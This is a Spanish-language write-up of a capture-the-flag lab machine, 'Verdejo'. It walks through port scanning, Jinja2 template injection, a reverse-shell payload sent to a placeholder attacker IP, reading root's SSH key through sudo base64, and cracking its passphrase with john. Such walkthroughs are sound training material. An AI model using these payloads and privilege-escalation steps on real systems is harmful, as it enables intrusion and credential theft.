

Verdejo

```
> nmap -sCV -p22,80,8089 -Pn -n -vvv 172.17.0.2
```

```
22/tcp open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2  
(protocol 2.0)
```

```
80/tcp open  http      syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
```

```
8089/tcp open  unknown  syn-ack ttl 64
```

```
| fingerprint-strings:
```

```
|   GetRequest:
```

```
|     HTTP/1.1 200 OK
```

```
|     Server: Werkzeug/2.2.2 Python/3.11.2
```

```
|     Date: Fri, 03 Jan 2025 05:33:18 GMT
```

```
|     Content-Type: text/html; charset=utf-8
```

```
> whatweb 172.17.0.2 (un apache nada mas)
```

```
http://172.17.0.2 [200 OK] Apache[2.4.59], Country[RESERVED][ZZ],  
HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[172.17.0.2],  
Title[Apache2 Debian Default Page: It works]
```

```
> whatweb 172.17.0.2:8089
```

```
http://172.17.0.2:8089 [200 OK] Country[RESERVED][ZZ],  
HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[172.17.0.2], Python[3.11.2],  
Title[Dale duro bro], Werkzeug[2.2.2]
```

el 8089 usa python y tiene un input q reflejalo escrito, porvamos con un SSTI
jinja2

→ 🏠 ↻ 🔒 172.17.0.2:8089

Nada interesante que buscar

No hay nada enserio, no toques

→ 🏠 ↻ 🔒 172.17.0.2:8089/?user={{7*7}}

Hola 49

No hay nada aqui de verdad.

le ponemos una reverse shell al in put y con nc nos ponemos en escucha

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >&/dev/tcp/IP_ATACANTE/443 0>&1"').read() }}
```

```

verde@c60f59d44b41:~$ sudo -l
Matching Defaults entries for verde on c60f59d44b41:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin
    use_pty

User verde may run the following commands on c60f59d44b41:
    (root) NOPASSWD: /usr/bin/base64

```

podemos leer la id_rsa de root

```

verde@c60f59d44b41:~$ LPASSWD=/root/.ssh/id_rsa
verde@c60f59d44b41:~$ sudo /usr/bin/base64 "$LPASSWD" | base64 --decode
-----BEGIN OPENSSH PRIVATE KEY-----
3BlbnNzaC1rZXktdjEAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAHul0xZQ
68d1eRBMAoL1IAAAAEAAAAEAAAAIXAAAAB3NzaC1yc2EAAAADAQABAAQDbTQGZZWBB
Rdf31TPoa0wcuFMcqXJhxfX9HqhmcEPAyZMxtgChQzYmmzRgkYH6jBTXSnNanTe4A0KME
/77xWmJzvvgvKyjmFmbvSu9sJuYABrP7yiTgiWY752nL4jeX5tXWT3t1XchSfFg50CqSfo

```

le damos permisos 600 pero cuando intentamos conectarnos vemos que pide la pass

```

Original contents retained as /home/miguel/...
> ssh -i id_rsa root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be
ED25519 key fingerprint is SHA256:cXr07Xc...
This key is not known by any other names
Are you sure you want to continue connect
Warning: Permanently added '172.17.0.2'
Enter passphrase for key 'id_rsa':
root@172.17.0.2's password:
Permission denied, please try again.
root@172.17.0.2's password:
Permission denied, please try again.
root@172.17.0.2's password:

```

usamos john para sacar las pass

```
> ssh2john id_rsa > pass.txt
```

```
> john --wordlist=/usr/share/SecLists/rockyou.txt pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
honda1 (id_rsa)
1g 0:00:01:52 DONE (2025-01-03 03:12) 0.008872g/s 31.79p/s 31.79c/s 31.79C/s cougar..
```

```
root@c60f59d44b41:~# whoami
root
```